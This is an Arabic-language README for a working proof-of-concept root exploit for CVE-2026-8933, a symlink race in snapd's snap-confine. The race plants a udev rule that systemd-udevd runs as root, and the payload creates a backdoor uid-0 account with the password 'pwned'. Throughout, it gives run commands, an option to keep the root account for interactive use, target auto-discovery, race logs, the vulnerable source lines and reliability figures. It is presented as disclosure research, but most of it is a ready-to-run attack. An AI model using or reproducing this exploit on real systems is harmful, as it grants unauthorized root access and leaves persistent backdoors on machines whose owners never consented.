
نسخة إثبات مفهوم عاملة لـ CVE-2026-8933: سباق رابط رمزي في فضاء أسماء التحميل (mount namespace) في snap-confine يزرع قاعدة udev مملوكة للجذر، ما يؤدي إلى صلاحيات جذر محلية عبر systemd-udevd.
snap-confine ← صدفة جذر محليةإثبات مفهوم عامل. تصعيد صلاحيات محلي كامل مُعاد إنتاجه من البداية إلى النهاية، من مستخدم غير مميّز (uid 1000) إلى صدفة جذر حقيقية بمعرّف uid-0 — دون كلمة مرور، ودون تفاعل، ودون أي صلاحيات مسبقة.
تجعل عملية غير مميّزة البرنامج snap-confine ذا القدرات المحددة يكتب قاعدة udev
مملوكة للجذر داخل /run/udev/rules.d/ الخاص بالمضيف؛ ثم ينفّذ systemd-udevd حمولة
PROGRAM= الخاصة بالقاعدة بصلاحيات الجذر. تزرع الحمولة المدمجة حسابًا بمعرّف uid-0
وكلمة مرور معروفة، لذا يمنح su - pwned (أو ./_rootshell.py) صدفة جذر.
| المكوّن | snap-confine ← sc_replicate_base_rootfs() (مصدر snapd 2.73 في _msc_273.c؛ شغّل المضيف المُختبَر snapd 2.76.3 وظلّ قابلًا للاستغلال) |
| الفئة | تصعيد صلاحيات محلي (سباق رابط رمزي ← إنشاء ملف عشوائي مملوك للجذر في /run/udev/** ← تنفيذ شيفرة بصلاحيات الجذر) |
| النتيجة | صدفة uid=0(root) من حساب غير مميّز |
| الموثوقية | 16 تشغيلًا: نجحت 7 منها من المحاولة الأولى، والباقي من الثانية؛ ولم تتجاوز أبدًا محاولتين |
| قابلية النقل | مستقلة عن المضيف: تُكتشف حزمة snap الهدف واسم التطبيق ونطاق cgroup وuid ومسار snap-confine جميعها وقت التشغيل |
| الحاجة إلى الجذر | لا شيء (انظر §9) |
المحتويات
باختصار · 1. البدء السريع · 2. المتطلبات · 3. ما الذي يجب أن تراه · 4. العلّة · 5. الفوز بالسباقات · 6. الحمولة · 7. محتويات الحزمة · 8. الإعدادات · 9. الصلاحيات والتنظيف · 10. التأثير والإصلاح · استكشاف الأخطاء وإصلاحها · المراجع · إخلاء المسؤولية
cd <package dir>
bash _t18poc.sh 100% 12 # ~1–2 min, no password required
المخرجات المتوقعة (مختصرة):
### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"
### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash
### 3. root shell
credentials: pwned / pwned (uid 0)
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
يقوم برنامج التشغيل بالتنظيف بعد نفسه (القاعدة، الحمولة، الحساب المزروع، أدلة العمل المؤقتة ونقاط التركيب الخاصة بها). يُبقي KEEP=1 الحساب حتى يمكن استخدام صدفة الجذر تفاعليًا بعد ذلك:
KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py # interactive root shell (password typed for you)
./_rootshell.py -c 'id' # one-shot command as root
su - pwned # or just this, password: pwned
cd <package dir>
./t18 info # optional: which snap is the target?
bash _t18poc.sh 100% 12 # quota, max attempts
_t18poc.sh [quota] [attempts] يبني t18 + _ftrig، ويكتشف الهدف،
ويشغّل الاستغلال حتى ينجح، ويُفعّل udevd، ويتحقق من حمولة root
وينظّف. 100% 12 هي القيمة المستخدمة في جميع القياسات أدناه؛ 0.3% 40
تعمل أيضًا (حصة أضيق، محاولات أكثر).
قبل المساس بأي شيء، يطبع المشغّل الهدف المكتشف تلقائيًا:
target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope : snap.firefox.firefox.scope
snapd : 2.76.3
cgroup.freeze على نطاق المستخدم)،snap-confine قابل للاستغلال، مثبّت بـ set-capabilities
(cap_chown,cap_dac_override,cap_sys_admin,…) — وليس set-uid-root،gcc + libfuse3 (pkg-config fuse3) لبناء t18 و_ftrig،/snap/<snap>/current الخاص به على
ملف عادي في مستواه الأعلى — فذلك المُدخل DT_REG هو ما يجعل
open() القابل للاستغلال يعمل (مثل firefox، core22، …). أي snap من هذا
النوع يفي بالغرض؛ ويجبر SNAP=<name> على استخدام snap محدد.يطبع ./t18 info القيم snap وapp وbase وunit وscope وconfine
وعدد المُدخلات/الملفات العادية للهدف المكتشف، ثم يخرج — وهي طريقة سريعة
لمعرفة ما إذا كان المضيف قابلًا للاستغلال باستخدام الـ snaps المثبّتة لديه.
[ 22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[ 22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[ 25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[ 35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[ 35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[ 35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[ 41.012] spinner: rule written into the root-owned file
[ 42.362] phase 2: 180 slices, win=1 (udev rule written)
[ 42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
/tmp/snap.rootfs_bTvhoA/default256.png: Permission denied
الملف الذي أنشأه snap-confine ذو الامتيازات الجذرية، على المضيف:
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"
والسكربت الحمولة الذي يشير إليه (مكتوب بواسطة uid 1000، ويُنفَّذ بواسطة
systemd-udevd بصلاحية uid 0):
-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root) <- /tmp/.pwned.root
snap-confine يموت مباشرة بعد ذلك، عند bind mount المرفوض من AppArmor لنفس
المدخل — يكون الملف قد أُنشئ ومُلئ بالفعل عند تلك النقطة.
$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7::: <- /etc/shadow is root-only
$ ./_rootshell.py # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
انتهت 16 عملية تشغيل لـ _t18poc.sh عبر البحث والبناء العام النهائي جميعها في LPE (7 منها من المحاولة الأولى، والباقي من المحاولة الثانية)؛ لم تحتج أي عملية تشغيل إلى أكثر من محاولتين. كل عملية تشغيل تنظّف بعد نفسها (القاعدة، والحمولة، والحساب المزروع، ومجلدات العمل المؤقتة ووصلاتها).
snapd 2.73، sc_replicate_base_rootfs() (المصدر في _msc_273.c):
511 if (mkdtemp(scratch_dir) == NULL) // /tmp/snap.rootfs_XXXXXX
523 sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
530 sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
535 sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
536 sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
362 if (chown(scratch_dir, 0, 0) < 0) die(...);
...
418 int fd = open(full_path, O_CREAT | O_TRUNC, 0644); // no O_NOFOLLOW
422 if (fchown(fd, 0, 0) < 0) die(...);
428 sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);
snap-confine مُثبَّت بـ set-capabilities (cap_chown، cap_dac_override،
cap_sys_admin، …)، وليس set-uid-root، لذا يحتفظ بـ euid غير المُتمتِّع بالامتيازات بينما
يحمل قدرات قريبة من الجذر. النتائج المترتبة:
mkdtemp() يُنشئ /tmp/snap.rootfs_XXXXXX مملوكًا للمُهاجِم
(بين السطرين 511 و362)، وopen(full_path, O_CREAT|O_TRUNC, 0644) يتبع الروابط الرمزية (بدون O_NOFOLLOW)
ويصبح الملف الناتج ملكًا للمُهاجِم حتى fchown() بعد سطرين.كلا النافذتين قابلتان للاستغلال من قِبَل مستخدم محلي غير مُتمتِّع بالامتيازات، وهذا ما يفعله هذا PoC.